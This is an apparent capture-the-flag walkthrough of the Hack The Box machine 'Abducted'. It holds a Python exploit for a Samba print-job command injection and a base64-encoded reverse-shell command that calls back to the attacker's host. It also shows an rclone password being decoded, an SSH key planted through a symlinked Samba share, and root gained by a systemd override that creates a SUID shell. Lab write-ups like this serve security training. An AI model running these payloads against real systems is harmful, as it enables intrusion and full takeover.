Description
Abducted is a medium Hack The Box machine that features:
- Samba Remote Command Execution by Command Injection
- User Pivoting by decoding
rcloneconfiguration file - User Pivoting by taking advantage of incorrect Samba symbolic link configuration
- Privilege Escalation by rewriting Systemd service configuration
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.85.94.
$ ping -c 3 10.129.85.94
PING 10.129.85.94 (10.129.85.94) 56(84) bytes of data.
64 bytes from 10.129.85.94: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.85.94: icmp_seq=2 ttl=63 time=46.8 ms
64 bytes from 10.129.85.94: icmp_seq=3 ttl=63 time=46.3 ms
--- 10.129.85.94 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.310/46.602/46.803/0.211 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.85.94 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.94
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
We get three open ports: 22, 139 and 445.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.85.94 -sV -sC -p22,139,445 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.94
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds
We get two services: one Secure Shell (SSH), and one Samba (SMB - Service Message Block Service). As we don’t have feasible credentials for the SSH service we are going to move to the Samba service and its shares.
$ smbclient -L '//10.129.85.94/' -N
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
We find two folder shares: projects and transfer, that we do not have access. And the HP-Reception printer with the IPC$ service. The printer allows guest printing as it allowing its enumeration using the srvinfo RPC command.
$ rpcclient -N '10.129.85.94' -U '' -c 'srvinfo'
ABDUCTED Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id : 500
os version : 6.1
server type : 0x809a03
Exploitation
CVE-2026-4480 is a critical command injection vulnerability in the Samba printing subsystem that allows an unauthenticated remote attacker to execute arbitrary OS commands with elevated privileges. The flaw exists because the client-supplied print job description (%J) is passed to the configured print command via a shell without proper validation or escaping, enabling attackers to inject malicious shell meta-characters.
The technical root of this vulnerability lies in the improper handling of substitution variables within the smb.conf configuration file. When a Samba server relies on external scripts via the print command directive, the %J macro expands dynamically to match the client-supplied print job name. Because Samba lacks strict sanitization or escaping of shell meta-characters (such as ;, &, |, or $()) within this variable, an unauthenticated attacker can submit a print job with a maliciously crafted title; when Samba concatenates this string and passes it directly to the system shell (/bin/sh), the injected commands are executed with the elevated privileges of the Samba daemon, resulting in complete remote system compromise.
The execute_print.py script is developed to exploit the vulnerability by spawning a reverse shell in the remote machine. We need to change the MACHINE_IP variable with the machine IP address, the PRINTER_NAME variable with the printer name and the PAYLOAD_COMMAND variable with the command we want to run in the machine in the b"bash -c '<COMMAND_TO_RUN>' & \n format, such as b"bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash' & \n".
#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
# Configuration variables
MACHINE_IP = "10.129.85.94"
PRINTER_NAME = "HP-Reception"
PAYLOAD_COMMAND = b"bash -c '<COMMAND_TO_RUN>' & \n
# Initialize Samba parameters and configure anonymous credentials
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()
# Connect to the remote spoolss pipe via Named Pipes using the target machine IP
iface = spoolss.spoolss(f"ncacn_np:{MACHINE_IP}[\\pipe\\spoolss]", lp, creds)
# Open a handle to the specified printer share dynamically using the configured variable
h = iface.OpenPrinter(f"\\\\{MACHINE_IP}\\{PRINTER_NAME}", "", spoolss.DevmodeContainer(), 0x00000008)
# Construct document info using the "|sh" character sequence inside the document name field
i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"
i1.output_file = None
i1.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1
# Trigger the print job sequence to transmit the test document structure and payload variable
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, PAYLOAD_COMMAND, len(PAYLOAD_COMMAND))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
iface.ClosePrinter(h)
We start a listening TCP port to receive the reverse shell and we execute the script, we receive a reverse shell as the nobody user.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.94] 45624
bash: cannot set terminal process group (1691): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
By enumerating the machine we find a rclone backup configuration file in the /opt/offsite-backup/rclone.conf.
nobody@abducted:/var/spool/samba$ ls /opt
offsite-backup
nobody@abducted:/var/spool/samba$ ls /opt/offsite-backup
rclone.conf
sync.sh
nobody@abducted:/var/spool/samba$ cat /opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
We find an encoded/encrypted password, HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw, for the svc-backup rclone user. The application has an in-build functionality to decode this type of credentials, reveal.
nobody@abducted:/var/spool/samba$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
The decoded password is iXzvcib3SrpZ. We enumerate three console users in the system: root, scott and marcus.
nobody@abducted:/var/spool/samba$ grep sh /etc/passwd
grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
scott:x:1000:1001:Scott Mercer:/home/scott:/bin/bash
marcus:x:1001:1002:Marcus Vale:/home/marcus:/bin/bash
We find that this is the password for the scott user and we can create a new console session using the SSH protocol.
$ ssh scott@10.129.85.94
...
scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
Post-Exploitation
Now we are able to read the configuration file /etc/samba/shares.conf of Samba.
scott@abducted:~$ cat /etc/samba/shares.conf
[HP-Reception]
comment = Reception printer
path = /var/spool/samba
printable = yes
guest ok = yes
print command = /usr/local/bin/printaudit %J %s
lpq command = /bin/true
lprm command = /bin/true
[projects]
comment = Hartley Group Project Files
path = /srv/projects
valid users = scott
read only = no
browseable = yes
[transfer]
comment = Staff file transfer
path = /srv/transfer
valid users = scott
force user = marcus
read only = no
wide links = yes
browseable = yes
scott@abducted:~$ ls -l /srv
total 8
drwxr-x--- 2 scott scott 4096 Oct 9 2025 projects
drwxr-xr-x 2 scott scott 4096 Oct 9 2025 transfer
The transfer share has a notable configuration as it is configured with force user = Marcus, as of this, any operation made through this share is executed as marcus user. Also, wide links are enabled, permitting Samba to follow symbolic links that point outside the shared directory tree. Since scott owns /srv/transfer on disk, a symbolic link can be planted pointing to marcus home directory. This is sufficient to upload an authorized_keys file into /home/marcus/.ssh.
scott@abducted:~$ ln -s /home/marcus /srv/transfer/marcus_home
Then we move to our machine and we upload the SSH file using the SMB protocol.
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ smbclient '//10.129.85.94/transfer' -U 'scott%iXzvcib3SrpZ'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Aug 28 21:33:12 2026
.. D 0 Fri Aug 28 21:33:12 2026
marcus_home D 0 Thu Jun 4 15:47:57 2026
...
smb: \> cd marcus_home\
smb: \marcus_home\> mkdir .ssh
smb: \marcus_home\> cd .ssh
smb: \marcus_home\.ssh\> put id_rsa.pub authorized_keys
putting file id_rsa.pub as \marcus_home\.ssh\authorized_keys (1,5 kB/s) (average 1,5 kB/s)
Now we can create a session in the machine as the marcus user using the SSH protocol and the generated private SSH key.
$ ssh -i id_rsa marcus@10.129.85.94
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
We find that the user belongs to the operators group, so we search for files/folders owned by that group.
marcus@abducted:~$ find / -group operators 2> /dev/null
/etc/systemd/system/smbd.service.d
We find one writable folder, /etc/systemd/system/smbd.service.d. As this is the folder for custom configuration for the smb service we can create a custom override.conf file to run custom commands as root user, as the service is running as this user.
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/suid-bash
ExecStartPre=/bin/chmod u+s /tmp/suid-bash
We modify the system and we reload the configuration for the command to execute. Then we spawn the root session.
marcus@abducted:~$ nano /etc/systemd/system/smbd.service.d/override.conf
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd
marcus@abducted:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
Flags
In the root shell we can retrieve the user.txt and root.txt flags.
suid-bash-5.2# cat /home/scott/user.txt
<REDACTED>
suid-bash-5.2# cat /root/root.txt
<REDACTED>